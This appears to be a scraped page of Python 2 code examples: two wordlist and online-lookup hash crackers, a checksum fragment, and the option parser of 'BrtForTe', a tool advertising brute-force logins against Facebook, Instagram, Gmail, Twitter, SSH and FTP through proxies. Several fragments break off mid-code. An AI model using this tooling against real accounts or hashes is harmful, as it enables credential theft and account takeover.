Пример #1
0
def main():
    parse.add_option("-H",
                     "--HASH",
                     dest="hash",
                     type="string",
                     help="\nHASH please !\n")
    parse.add_option("-W",
                     "-w",
                     '--WORDLIST',
                     "--wordlist",
                     dest="wordlist",
                     type="string",
                     help="\nWordlist File Please!\n")
    parse.add_option("-T",
                     "-t",
                     "--text",
                     '--TEXT',
                     dest="dtext",
                     type="string",
                     help="Enter Some Text To Encodeing To Your Hash\n")
    parse.add_option("--on",
                     '--ON',
                     '--On',
                     '--online',
                     '--ONLINE',
                     action="store_true",
                     dest="ONC",
                     default=False)
    parse.add_option('-f',
                     '-F',
                     '--file',
                     '--FILE',
                     dest='Cfile',
                     type='string',
                     help="Enter Hashes File")
    parse.add_option("-O",
                     "-o",
                     "--output",
                     '--OUTPUT',
                     dest="outfile",
                     type="string",
                     help="\nFile Name Please !\n")
    parse.add_option("-v",
                     "-V",
                     action="store_true",
                     dest="ShowVERSION",
                     default=False,
                     help="\nSHOW TOOL VERSION AND EXIT :)\n")
    parse.add_option("-e",
                     "-E",
                     "--examples",
                     '--EXAMPLES',
                     action="store_true",
                     dest="ShowEXAMPLES",
                     default=False,
                     help="\nSHOW TOOL EXAMPLES\n")
    (options, args) = parse.parse_args()
    #=-=-=-=-=-=-=-=-=-=-=-=-=- START =-=-=-=-=-=-=-=-=-=-=-=-=-:)

    if options.ShowVERSION:
        print(ver)
        exit(1)

    elif options.ShowEXAMPLES:
        system("cls||clear")
        examples()
        exit(1)

    def checkoutfile():
        try:
            if options.outfile != None:
                return True
        except:
            pass
        return False

    checkfile = checkoutfile()

    if options.hash != None and options.wordlist != None:
        hash = options.hash
        wl = options.wordlist
        try:
            file = open(wl, "r")
        except IOError:
            print(cor[3] + "\n[!] Error:" + cor[5] + " No Such File[ " +
                  cor[4] + wl + cor[5] + " ]" + cor[5] + " !!!")
            exit(1)
        if len(hash) == 32:  #MD5
            name = "MD5"
        elif len(hash) == 40:  #SHA1
            name = "SHA1"
        elif len(hash) == 56:  #SHA224
            name = "SHA224"
        elif len(hash) == 64:  #SHA256
            name = "SHA256"
        elif len(hash) == 96:  #SHA384
            name = "SHA384"
        elif len(hash) == 128:  #SHA512
            name = "SHA512"
        else:
            errorhash()
            exit(1)
        loop = 1
        try:
            system("cls||clear")
            banner()
            print(
                colors +
                "\n[+>]<====================> CONFIG <====================>[<+]\n"
                + cor[5])
            print(
                "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m HASH NAME    :> [ \033[1;32m"
                + colors + name)
            print(
                "\033[1;32m[\033[1;37m+\033[1;32m]\033[1;37m HASH         :> [ \033[1;32m"
                + hash[:30] + "\033[1;33m-...")
            print(
                "\033[1;32m[\033[1;37m>\033[1;32m]\033[1;37m Wordlist     :> [ \033[1;32m"
                + wl)
            sleep(1.2)
            print(cor[2] + "\n[*]" + cor[5] + " Brute Forcing: " + cor[2] +
                  "Enable" + cor[5] + "...\n")
            sleep(1.7)
            lines = 0
            for passwd in file:
                if not passwd.strip(): continue
                passwd = passwd.strip()
                if len(hash) == 32:  #MD5
                    hashcat = hashlib.md5(passwd).hexdigest()
                elif len(hash) == 40:  #SHA1
                    hashcat = hashlib.sha1(passwd).hexdigest()
                elif len(hash) == 56:  #SHA224
                    hashcat = hashlib.sha224(passwd).hexdigest()
                elif len(hash) == 64:  #SHA256
                    hashcat = hashlib.sha256(passwd).hexdigest()
                elif len(hash) == 96:  #SHA384
                    hashcat = hashlib.sha384(passwd).hexdigest()
                elif len(hash) == 128:  #SHA512
                    hashcat = hashlib.sha512(passwd).hexdigest()
                else:
                    errorhash()
                    break


# START BRUTE-FORCE ATTACK:...
                if hash == hashcat:
                    if checkfile == True:
                        outfile = options.outfile
                        if outfile[-4:] != ".txt": outfile = outfile + ".txt"
                        file = open(outfile, "w")
                        file.write(
                            "\n[+]:HASH CRACK!:\n[*]:INFO:\n----------\n[*]:HASH Name:[ "
                            + name + " ]\n[+]:HASH:[ " + hash +
                            " ]\n\n[#>]:HASH CAT:[ " + passwd.strip() + " ]\n")
                        print(
                            cor[1] + "\n[+]" + cor[4] + ":" + cor[2] +
                            "HASH CRACKER: AND The INFO Save In [ " + cor[4] +
                            outfile + cor[2] +
                            " ] output file :)\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mCheck Out\033[1;32m :)"
                        )
                        file.close()
                        break
                    else:
                        print(cor[2] + "[+]" + cor[5] + " Trying Password" +
                              cor[5] + "[" + cor[2] + str(loop) + cor[5] +
                              "]  : " + cor[2] + str(passwd) + cor[5] +
                              " ===>" + cor[2] + " YES")
                        print(cor[1] + "\n[+]" + cor[4] + ":" + cor[2] +
                              "HASH CRACK!:\n" + cor[1] + "[*]" + cor[4] +
                              ":" + cor[2] + "INFO:" + cor[5] +
                              "\n----------" + cor[1] + "\n[*]" + cor[4] +
                              ":" + cor[2] + "HASH Name:[ " + cor[4] + name +
                              cor[2] + " ] " + cor[1] + "\n[+]" + cor[4] +
                              ":" + cor[2] + "HASH:[ " + cor[4] + hash +
                              cor[2] + " ]" + cor[1] + "\n\n[#>]" + cor[4] +
                              ":" + cor[2] + "HASH CAT:[ " + cor[4] +
                              passwd.strip() + cor[2] + " ]\n")
                        break
                else:
                    print(cor[3] + "[-] Trying Password" + cor[5] + "[" +
                          cor[4] + str(loop) + cor[5] + "]  : " + cor[0] +
                          str(passwd) + cor[3] + " ===>" + cor[4] + " NO")
                    loop += 1
                lines += 1
            else:

                print(cor[4] + "\n[-]:" + cor[3] + "I WAS TRY [" + cor[4] +
                      str(lines) + cor[3] + "] " + cor[3] +
                      "Passowrd From [ " + cor[4] + wl + cor[3] +
                      " ] Wordlist")
                print(cor[4] + "[x!]" + cor[3] + ":PASSWORD NOT FOUND IN:[ " +
                      cor[4] + wl + cor[3] + " ] Wordlist\n" + cor[2] + "[*]" +
                      cor[4] + ":" + cor[3] +
                      "Try Online Cracker Options Or try Other Wordlist :) ")
                exit(1)

        except KeyboardInterrupt:
            print(cor[3] + "\n[!]:" + cor[4] + "Stoping Attack.....")
            sleep(2)
            print("Bye :)")
            exit(1)
    elif options.Cfile != None and options.wordlist != None:
        hashfile = options.Cfile
        wordlist = options.wordlist
        try:
            hop = open(hashfile, "r")
            hop.close()
        except IOError:
            print(cor[4] + "[" + cor[3] + "!" + cor[4] + "]" + cor[3] +
                  " No such file or directory: " + cor[5] + hashfile + cor[4] +
                  " !!!")
            exit(1)
        try:
            wop = open(wordlist, "r")
            wop.close()
        except IOError:
            print(cor[4] + "[" + cor[3] + "!" + cor[4] + "]" + cor[3] +
                  " No such file or directory: " + cor[5] + wordfile + cor[4] +
                  " !!!")
            exit(1)
        loop = 1
        system("cls||clear")
        banner()
        print(
            colors +
            "\n[+>]<====================> CONFIG <====================>[<+]\n"
            + cor[5])
        print(
            "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m HASH FILE    :> [ \033[1;32m"
            + hashfile)
        print(
            "\033[1;32m[\033[1;37m>\033[1;32m]\033[1;37m Wordlist     :> [ \033[1;32m"
            + wordlist)
        sleep(1.2)
        print(cor[2] + "\n[*]" + cor[5] + " Brute Forcing: " + cor[2] +
              "Enable" + cor[5] + "...\n")
        sleep(1.7)
        s = 0
        with open(hashfile) as hop:
            for H in hop:
                if not H.strip(): continue
                H = H.strip()
                if len(H) not in [32, 40, 56, 64, 96, 128]: continue
                print("\n[*] Cracking [{}]...".format(H))
                with open(wordlist) as wop:
                    for P in wop:
                        if not P.strip(): continue
                        P = P.strip()
                        if len(H) == 32:  #MD5
                            name = "MD5"
                            hashcat = hashlib.md5(P).hexdigest()
                        elif len(H) == 40:  #SHA1
                            name = "SHA1"
                            hashcat = hashlib.sha1(P).hexdigest()
                        elif len(H) == 56:  #SHA224
                            name = "SHA224"
                            hashcat = hashlib.sha224(P).hexdigest()
                        elif len(H) == 64:  #SHA256
                            name = "SHA256"
                            hashcat = hashlib.sha256(P).hexdigest()
                        elif len(H) == 96:  #SHA384
                            name = "SHA384"
                            hashcat = hashlib.sha384(P).hexdigest()
                        elif len(H) == 128:  #SHA512
                            name = "SHA512"
                            hashcat = hashlib.sha512(P).hexdigest()
                        if hashcat == H:
                            s += 1
                            print(
                                "  [+] HASH CRACK [+]\n  --------------\n    [N] HASH-NAME:>[ {}\n    [H] HASH     :>[ {}\n    [P] HASH CAT :>[ {}\n"
                                .format(name, H, P))
                    if s == 0:
                        print("  [!] Password Not Found In Wordlist[{}] !!!".
                              format(wordlist))
                s = 0
                print("=============================")
    elif options.hash != None and options.dtext != None:
        HASH = options.hash
        text = options.dtext
        HASHES = [
            "md5", "MD5", "sha1", "SHA1", "sha224", "SHA224", "sha256",
            "SHA256", "sha384", "SHA384", "sha512", "SHA512"
        ]
        if HASH in HASHES:
            sleep(0.10)
            banner()
            print(
                colors +
                "\n[+>]<====================> CONFIG <====================>[<+]\n"
                + cor[5])
            sleep(0.10)
            print("[*]:HASH NAME    : " + colors + HASH + cor[5])
            sleep(0.10)
            print("[*]:Text         : " + colors + text + cor[5])
            sleep(0.10)
            print(cor[3] + "\n[*]\033[1;33m Hashing....[" + cor[4] + text +
                  "\033[1;33m]\n")
            sleep(2.1)
            if HASH == "md5" or HASH == "MD5":
                hashte = hashlib.md5(text).hexdigest()
            elif HASH == "sha1" or HASH == "SHA1":
                hashte = hashlib.sha1(text).hexdigest()
            elif HASH == "sha224" or HASH == "SHA224":
                hashte = hashlib.sha224(text).hexdigest()
            elif HASH == "sha256" or HASH == "SHA256":
                hashte = hashlib.sha256(text).hexdigest()
            elif HASH == "sha384" or HASH == "SHA384":
                hashte = hashlib.sha384(text).hexdigest()
            elif HASH == "sha512" or HASH == "SHA512":
                hashte = hashlib.sha512(text).hexdigest()
            if checkfile == True:
                outfile = options.outfile
                if outfile[-4:] != ".txt": outfile = outfile + ".txt"
                file = open(outfile, "w")
                file.write(
                    "\n[*] ======== [{}]HASH Result========[*]\n |\n[T] Your Plain Text    :> [ {} \n[H] Hash Name Type     :> [ {} \n[E] {}-HASH.[ {} ] :> [ {} \n |\n[*]===================================[*]\n"
                    .format(HASH.upper(), text, copy(HASH.upper()),
                            copy(HASH.upper()), copy(text), hashte))
                print(
                    "\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mYour Hashing Result Is Saved In :[\033[1;32m {}\033[1;37m ]\033[1;33m Output File. \n\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Check Out \033[1;32m:)"
                    .format(outfile))
                file.close()
            else:
                print(
                    "\033[1;33m[T]\033[1;35m Plain TEXT\033[1;32m=[\033[1;34m {}\033[1;32m ] \033[1;33m\n[H] \033[1;36m{}\033[1;32m-hash\033[1;35m===[ \033[1;31m{}\033[1;35m ]\n"
                    .format(text, HASH.upper(), hashte))
        else:
            errorhash()
            exit(1)

    elif options.hash != None and options.ONC:
        try:
            import requests
        except ImportError:
            print(
                "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;32m Requests \033[1;37mLibrary\033[1;33m ] Is Not Exist \033[1;31m!!!"
            )
            print(
                "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Please Install It Using This \033[1;33mCommand: \033[1;37mpip install requests"
            )
            exit(1)
        try:
            from Core.api import hcat
        except ImportError:
            print(
                "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;37m Core/api.py \033[1;33m] File Is Missing \033[1;31m !!!"
            )
            exit(1)
        stop = 0
        try:
            H = options.hash
            HASHES = [32, 40, 56, 64, 96, 128]
            if len(H) not in HASHES:
                errorhash()
                exit(1)

            def check():
                try:
                    ip = socket.gethostbyname('google.com')
                    con = socket.create_connection((ip, 80), 2)
                    return True
                except:
                    pass
                return False

            if check() != True:
                print(
                    "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Please Check Your Internet Connection \033[1;31m!!!"
                )
                exit(1)
            if len(H) == HASHES[0]:
                name = "MD5"
            elif len(H) == HASHES[1]:
                name = "SHA1"
            elif len(H) == HASHES[2]:
                name = "SHA224"
            elif len(H) == HASHES[3]:
                name = "SHA256"
            elif len(H) == HASHES[4]:
                name = "SHA384"
            elif len(H) == HASHES[5]:
                name = "SHA512"
            banner()
            print("\033[1;37m .::: \033[1;33mOnline Cracking \033[1;37m:::.")
            print(
                "\n\033[1;37m[\033[1;32m>\033[1;37m] HASH     :> [\033[1;32m "
                + H[:30] + "\033[1;33m-...")
            print(
                "\033[1;37m[\033[1;32m+\033[1;37m] HashName :> [\033[1;32m " +
                name.upper())
            print(cor[2] + "\n[*]" + cor[5] + " Brute Forcing: " + cor[2] +
                  "Enable" + cor[5] + "...\n")
            sleep(0.60)
            print(
                "\033[1;32m[\033[1;33m~\033[1;32m] \033[1;33mChecking \033[1;32m6 \033[1;33mWebsites Databases..."
            )

            cracked = hcat.leakz(H)
            db = 'leakz'
            if cracked == False:
                cracked = hcat.hashtoolkit(H)
                db = 'hashtoolkit'
                if cracked == False:
                    cracked = hcat.md5decrypt(H)
                    db = 'md5decrypt'
                    if cracked == False:
                        cracked = hcat.nitrxgen(H)
                        db = 'nitrxgen'
                        if cracked == False:
                            cracked = hcat.myaddr(H)
                            db = 'myaddr'
                            if cracked == False:
                                cracked = hcat.gromweb(H)
                                db = 'gromweb'
            if cracked != False:
                if checkfile == True:
                    outfile = options.outfile
                    if outfile[-4:] != ".txt": outfile = outfile + ".txt"
                    fop = open(outfile, 'w')
                    fop.write('\n[*] HASH CAT :> ' + str(cracked) + "\n")
                    fop.close()
                    print(
                        "\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mYour Hash Online Crack Result Is Saved In :[\033[1;32m {}\033[1;37m ]\033[1;33m Output File. \n\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Check Out \033[1;32m:)"
                        .format(outfile))
                else:
                    print(
                        '\n\033[1;32m[\033[1;37m*\033[1;32m] \033[1;37mCracked By [ \033[1;32m{}\033[1;37m ] Database'
                        .format(db))
                    print(
                        "\033[1;33m====================" + '=' * len(db) +
                        "==\n  \033[1;37m[\033[1;32m~\033[1;37m] HASH CAT :> [\033[1;32m "
                        + str(cracked))
            else:
                print(
                    "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mLeakz\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mHashtoolkit\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mMD5decrypt\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mNitrxgen\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mMyaddr\033[1;33m ] Database\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Not Found In [ \033[1;32mGromweb\033[1;33m ] Database"
                )
                print(
                    "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Online Cracking Failed \033[1;31m !!!\n\033[1;37m[\033[1;32m*\033[1;37m] Try Brute Force Attack With Wordlist :)"
                )
        except Exception, e:
            print("\n[!] Error:" + str(e.message))
            exit(1)
Пример #2
0
def main():
    parse.add_option("-H",
                     "--HASH",
                     dest="hash",
                     type="string",
                     help="\nHASH please !\n")
    parse.add_option("-W",
                     "-w",
                     "--wordlist",
                     dest="wordlist",
                     type="string",
                     help="\nWordlist File Please!\n")
    parse.add_option("-T",
                     "-t",
                     "--text",
                     dest="dtext",
                     type="string",
                     help="Enter Some Text To Encodeing To Your Hash\n")
    parse.add_option("--on",
                     '--ON',
                     action="store_true",
                     dest="ONC",
                     default=False)
    parse.add_option("-O",
                     "-o",
                     "--output",
                     dest="outfile",
                     type="string",
                     help="\nFile Name Please !\n")
    parse.add_option("-v",
                     "-V",
                     action="store_true",
                     dest="ShowVERSION",
                     default=False,
                     help="\nSHOW TOOL VERSION AND EXIT :)\n")
    parse.add_option("-e",
                     "-E",
                     "--examples",
                     action="store_true",
                     dest="ShowEXAMPLES",
                     default=False,
                     help="\nSHOW TOOL EXAMPLES\n")

    (options, args) = parse.parse_args()

    #=-=-=-=-=-=-=-=-=-=-=-=-=- START =-=-=-=-=-=-=-=-=-=-=-=-=-:)

    if options.ShowVERSION:
        print(ver)
        exit()

    elif options.ShowEXAMPLES:
        examples()
        exit()

    def checkoutfile():
        try:
            if options.outfile != None:
                return True
        except:
            pass
        return False

    check = checkoutfile()

    if options.hash != None and options.wordlist != None:
        hash = options.hash
        wl = options.wordlist
        try:
            file = open(wl, "r")
        except:
            print(cor[3] + "\n[!]:The [> " + cor[1] + wl + cor[3] +
                  " <] File Not Found!")
            exit()
        file = open(wl, "r")
        file2 = file.readlines()
        if len(hash) == 32:  #MD5
            name = "MD5"
        elif len(hash) == 40:  #SHA1
            name = "SHA1"
        elif len(hash) == 56:  #SHA224
            name = "SHA224"
        elif len(hash) == 64:  #SHA256
            name = "SHA256"
        elif len(hash) == 96:  #SHA384
            name = "SHA384"
        elif len(hash) == 128:  #SHA512
            name = "SHA512"
        else:
            errorhash()
            exit()

        loop = 1
        lens = len(file2)
        try:
            banner()
            print(
                colors +
                "\n[+>]<====================> CONFIG <====================>[<+]\n"
                + cor[5])
            print("[*]:HASH NAME    : " + colors + name + cor[5])
            print("[+]:HASH         : " + hash[:30] + ".....")
            print("[+]:Wordlist     : " + wl)
            print("[+]:Words Loaded : " + str(lens))
            sleep(1.2)
            print(cor[2] + "\n[*]:" + cor[1] + "Trying[" + cor[4] + str(lens) +
                  cor[1] + "] Password From Wordlist File....")
            sleep(3.5)
            for passwd in file2:

                if len(hash) == 32:  #MD5
                    hashcat = hashlib.md5(passwd.strip()).hexdigest()
                elif len(hash) == 40:  #SHA1
                    hashcat = hashlib.sha1(passwd.strip()).hexdigest()
                elif len(hash) == 56:  #SHA224
                    hashcat = hashlib.sha224(passwd.strip()).hexdigest()
                elif len(hash) == 64:  #SHA256
                    hashcat = hashlib.sha256(passwd.strip()).hexdigest()
                elif len(hash) == 96:  #SHA384
                    hashcat = hashlib.sha384(passwd.strip()).hexdigest()
                elif len(hash) == 128:  #SHA512
                    hashcat = hashlib.sha512(passwd.strip()).hexdigest()
                else:
                    errorhash()
                    break


# START BRUTE-FORCE ATTACK:...
                if hash == hashcat:
                    if check == True:
                        outfile = options.outfile
                        file = open(outfile, "w")
                        file.write(
                            "\n[+]:HASH CRACK!:\n[*]:INFO:\n----------\n[*]:HASH Name:[ "
                            + name + " ]\n[+]:HASH:[ " + hash +
                            " ]\n\n[#>]:HASH CAT:[ " + passwd.strip() + " ]\n")
                        print(cor[1] + "\n[+]" + cor[4] + ":" + cor[2] +
                              "HASH CRACKER: AND The INFO Save In [ " +
                              cor[4] + outfile + cor[2] + " ] output file :)")
                        break
                    else:
                        print(cor[1] + "\n[+]" + cor[4] + ":" + cor[2] +
                              "HASH CRACK!:\n" + cor[1] + "[*]" + cor[4] +
                              ":" + cor[2] + "INFO:" + cor[5] +
                              "\n----------" + cor[1] + "\n[*]" + cor[4] +
                              ":" + cor[2] + "HASH Name:[ " + cor[4] + name +
                              cor[2] + " ] " + cor[1] + "\n[+]" + cor[4] +
                              ":" + cor[2] + "HASH:[ " + cor[4] + hash +
                              cor[2] + " ]" + cor[1] + "\n\n[#>]" + cor[4] +
                              ":" + cor[2] + "HASH CAT:[ " + cor[4] +
                              passwd.strip() + cor[2] + " ]\n")
                        break
                else:
                    print(cor[3] + "\n[!]:Trying Password" + cor[5] + "[" +
                          cor[4] + str(loop) + cor[5] + "]  : " + cor[0] +
                          str(passwd))
                    loop += 1
            else:
                print(cor[4] + "\n[-]:" + cor[3] + "I WAS TRY [" + cor[4] +
                      str(lens) + cor[3] + "] " + cor[3] + "Passowrd From [ " +
                      cor[4] + wl + cor[3] + " ] Wordlist")
                print(cor[4] + "[x!]" + cor[3] + ":PASSWORD NOT FOUND IN:[ " +
                      cor[4] + wl + cor[3] + " ] Wordlist\n" + cor[2] + "[*]" +
                      cor[4] + ":" + cor[3] +
                      "Try Online Cracker Options Or try Other Wordlist :) ")
                exit()

        except KeyboardInterrupt:
            print(cor[3] + "\n[!]:" + cor[4] + "Stoping Attack.....")
            sleep(2)
            print("Bye :)")
            exit()
    elif options.hash != None and options.dtext != None:
        HASH = options.hash
        text = options.dtext
        HASHES = [
            "md5", "MD5", "sha1", "SHA1", "sha224", "SHA224", "sha256",
            "SHA256", "sha384", "SHA384", "sha512", "SHA512"
        ]
        if HASH in HASHES:
            sleep(0.10)
            print(
                colors +
                "\n[+>]<====================> CONFIG <====================>[<+]\n"
                + cor[5])
            sleep(0.10)
            print("[*]:HASH NAME    : " + colors + HASH + cor[5])
            sleep(0.10)
            print("[*]:Text         : " + colors + text + cor[5])
            sleep(0.10)
            print(cor[3] + "\n[*]\033[1;33m Hashing......[" + cor[4] + text +
                  "\033[1;33m]")
            sleep(2.1)
            if HASH == "md5" or HASH == "MD5":
                hashte = hashlib.md5(text).hexdigest()
            elif HASH == "sha1" or HASH == "SHA1":
                hashte = hashlib.sha1(text).hexdigest()
            elif HASH == "sha224" or HASH == "SHA224":
                hashte = hashlib.sha224(text).hexdigest()
            elif HASH == "sha256" or HASH == "SHA256":
                hashte = hashlib.sha256(text).hexdigest()
            elif HASH == "sha384" or HASH == "SHA384":
                hashte = hashlib.sha384(text).hexdigest()
            elif HASH == "sha512" or HASH == "SHA512":
                hashte = hashlib.sha512(text).hexdigest()
            print(
                "\033[1;33m[T]\033[1;35m TEXT\033[1;32m=[ \033[1;34m {}\033[1;32m ] \033[1;33m[H] \033[1;36m{}\033[1;32mhash\033[1;35m=[ \033[1;31m{}\033[1;35m ]"
                .format(text, HASH, hashte))

        else:
            errorhash()
            exit(1)
    elif options.hash != None and options.ONC:
        try:
            import requests
        except:
            print(
                "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;32m Requests \033[1;37mLibrary\033[1;33m ] Is Not Exist \033[1;31m!!!"
            )
            print(
                "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Please Install It Using This \033[1;33mCommand: \033[1;37mpip install requests"
            )
            exit(1)
        try:
            import json
        except:
            print(
                "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: [\033[1;32m Json \033[1;37mLibrary\033[1;33m ] Is Not Exist \033[1;31m!!!"
            )
            print(
                "\033[1;32m[\033[1;37m*\033[1;32m]\033[1;37m Please Install It Using This \033[1;33mCommand: \033[1;37mpip install simplejson"
            )
            exit(1)
        test = 0
        try:
            H = options.hash
            HASHES = [32, 40, 56, 64, 96, 128]
            if len(H) not in HASHES:
                errorhash()
                test = test + 1

            def check():
                try:
                    ip = socket.gethostbyname('google.com')
                    con = socket.create_connection((ip, 80), 2)
                    return True
                except:
                    pass
                return False

            if check() != True:
                print(
                    "\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Please Check Your Internet Connection \033[1;31m!!!"
                )
                exit(1)
            url = "http://hashtoolkit.com/reverse-hash?hash=" + H
            con = requests.get(url)
            content = con.content
            cracked = re.findall(
                "<span title=\"decrypted (md5|sha1|sha224|sha256|sha384|sha512) hash\">(.*)</span>",
                content)
            hashname = cracked[0][0]
            banner()
            print(
                "\033[1;37m.::: \033[1;33mOnline Cracking Result \033[1;37m:::."
            )
            print("\n\033[1;37m[\033[1;32m>\033[1;37m] HASH     :\033[1;32m " +
                  H)
            print("\033[1;37m[\033[1;32m+\033[1;37m] HashName :\033[1;32m " +
                  hashname)
            print("\n\033[1;37m[\033[1;32m~\033[1;37m] Hash CAT :\033[1;32m " +
                  cracked[0][1])
        except:
            if test == 1:
                exit(1)
            H = options.hash

            def check():
                try:
                    ip = socket.gethostbyname('google.com')
                    con = socket.create_connection((ip, 80), 2)
                    return True
                except:
                    pass
                return False

            if check() != True:
                print(
                    "\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Please Check Your Internet Connection \033[1;31m!!!"
                )
                exit(1)
            if len(H) == HASHES[0]:
                name = "MD5"
            elif len(H) == HASHES[1]:
                name = "SHA1"
            elif len(H) == HASHES[2]:
                name = "SHA224"
            elif len(H) == HASHES[3]:
                name = "SHA256"
            elif len(H) == HASHES[4]:
                name = "SHA384"
            elif len(H) == HASHES[5]:
                name = "SHA512"
            banner()
            print(
                "\033[1;37m .::: \033[1;33mOnline Cracking Result \033[1;37m:::."
            )
            print("\n\033[1;37m[\033[1;32m>\033[1;37m] HASH     :\033[1;32m " +
                  H)
            print("\033[1;37m[\033[1;32m+\033[1;37m] HashName :\033[1;32m " +
                  name)
            try:
                print(
                    "\n\033[1;37m[\033[1;32m~\033[1;37m] Hash CAT :\033[1;32m "
                    + onc(H))
            except:
                print(
                    "\n\033[1;31m[\033[1;33m!\033[1;31m]\033[1;33m Error: Cracking Failed \033[1;31m !!!\n\033[1;37m[\033[1;32m*\033[1;37m] Try Brute Force Attack With Wordlist :)"
                )

    else:
        print(parse.usage)
        exit(1)
Пример #3
0
                        return hash_sha384.hexdigest()
                    elif hashname == "sha512" or hashname == "SHA512":
                        hash_sha512 = hashlib.sha512()
                        with open(fname, "rb") as f:
                            for chunk in iter(lambda: f.read(4096), b""):
                                hash_sha512.update(chunk)
                        return hash_sha512.hexdigest()
                except:
                    print("\n" + cor[2] + "[" + cor[0] + "!" + cor[2] +
                          "] Something Went Wrong " + cor[0] + "!!!")
                    exit(1)
            else:
                errorhash()
                exit(1)

        banner()
        sleep(0.10)
        print("\n" + cor[2] + "[" + cor[0] + "*" + cor[2] + "]" + cor[4] +
              " Hash: " + cor[1] + hashname)
        sleep(0.10)
        print(cor[2] + "[" + cor[0] + "*" + cor[2] + "]" + cor[4] + " File: " +
              cor[1] + fname)
        sleep(0.10)
        print("\n" + cor[1] + "[" + cor[2] + "*" + cor[1] + "] " + cor[1] +
              hashname + cor[0] + "sum: " + cor[5] + HASHme(fname, hashname))

    else:
        print(parse.usage)
        exit(1)

if __name__ == '__main__':
Пример #4
0
def Main():
######################################[1] Emails Brute Force Options ######################################
          grEmails = optparse.OptionGroup(parse,"EMAILS OPTIONS",
						"BRUTE FORCE ATTACK ON ALL EMAILS!")
#Facebook:
	  grEmails.add_option("-F","--facebook",dest="facebookT",type="string")
	  grEmails.add_option("-W","--Fwordlist",dest="facebookW",type="string")
#Instagram:
	  grEmails.add_option("-I","--instagram",dest="instagramT",type="string")
	  grEmails.add_option("-L","--Iwordlist",dest="instagramW",type="string")
#Gmail:
	  grEmails.add_option("-G","--gmail",dest="gmailT",type="string")
	  grEmails.add_option("-A","--Gwordlist",dest="gmailW",type="string")
#Twitter:
	  grEmails.add_option("-T","--twitter",dest="twitterT",type="string")
          grEmails.add_option("-C","--Twordlist",dest="twitterW",type="string")

#Use Random proxy with Emails brute Froce
	  grEmails.add_option("-p","--use-proxy",action='store_true',dest="proxy",default=False) 

######################################[2] SERVER Brute Force Options ######################################
	  grServer = optparse.OptionGroup(parse,"\nSERVER OPTION",
					       "BRUTE FORCE ATTACK ON SERVER!")
#SSH SERVER:

	  grServer.add_option("-S","--SHserver",dest="sshT",type="string")
	  grServer.add_option("-U","--SHuser",dest="sshU",type="string")
	  grServer.add_option("-D","--SHwordlist",dest="sshW",type="string")
#FTP SERVER:

	  grServer.add_option("-f","--FTserver",dest="ftpT",type="string")
	  grServer.add_option("-E","--FTuser",dest="ftpU",type="string")
	  grServer.add_option("-K","--FTwordlist",dest="ftpW",type="string")



######################################[3] Hash Brute Force Options ######################################
	  grHash = optparse.OptionGroup(parse,"\nHASH OPTIONS",
					     "Brute Force Attack On Hash")
#ALL HASH:
	  grHash.add_option("-M","--hash",dest="anyhash",type="string")
	  grHash.add_option("-m","--wordlist",dest="wl",type="string")

######################################[4] WEB Brute Force Options #####################################
	  grWeb = optparse.OptionGroup(parse,"\nWEB OPTIONS",
					    "Brute Force Attack On Web")
# Finder CP:
	  grWeb.add_option("-N","--website",dest="website",type="string")
	  grWeb.add_option("-n","--Links",dest="links",type="string")
	  grWeb.add_option("-a","--proxy",action='store_true',dest="proxyweb",default=False)
	 


###################################### Other Options You Can Use ######################################

	  grOther = optparse.OptionGroup(parse,"\nOTHER OPTIONS",
					      "OTHER OPTION YOU CAN USE")

#ShowVersion:
	  grOther.add_option("-v",action='store_true',dest="ShowVersion",default=False)

#Update Tool:
	  grOther.add_option("-u","--update",action='store_true',dest="update",default=False)

#ShowExaplesTool:
          grOther.add_option("-e","--examples",action='store_true',dest="examples",default=False)


	  parse.add_option_group(grEmails)
	  parse.add_option_group(grServer)
	  parse.add_option_group(grHash)
	  parse.add_option_group(grWeb)
	  parse.add_option_group(grOther)
	  (options,args) = parse.parse_args()
	  def checklinks():
	    try:
		if options.links !=None:
			return True
	    except:
		  pass
	    return False

	  uselinks = checklinks()

	  def checkproxy():
	    try:
	       if options.proxy:
		   return True
	    except:
		  pass
	    return False
	  proxys = checkproxy()

	  def checkproxyWithWebSection():
            try:
		if options.proxyweb:
		      return True
	    except:
		  pass
	    return False

	  webproxy = checkproxyWithWebSection()

	  if options.ShowVersion:
		print(ver)
		exit()

	  elif options.examples:
		examples()

	  elif options.update:
		     global check1
		     if check1 == True:
		     		      def update():
					 	  updater = subprocess.check_output("git pull origin master", shell=True)
						  if "Already up-to-date." in updater:
					                return 1
						  elif "error" or "Error" in updater:
						         return -1
						  else:
						         return 0
		                      toollink = "https://github.com/Oseid/BrtForTe"
		                      print("\n[*]:Update in progress.....")
		                      time.sleep(2)
		                      if update() == 1:
				                     print(cor[2]+"\n[*]:"+cor[4]+"[BrtForTe]"+cor[5]+" is Already up-to-date.")
				                     exit()
		                      elif update() == -1:
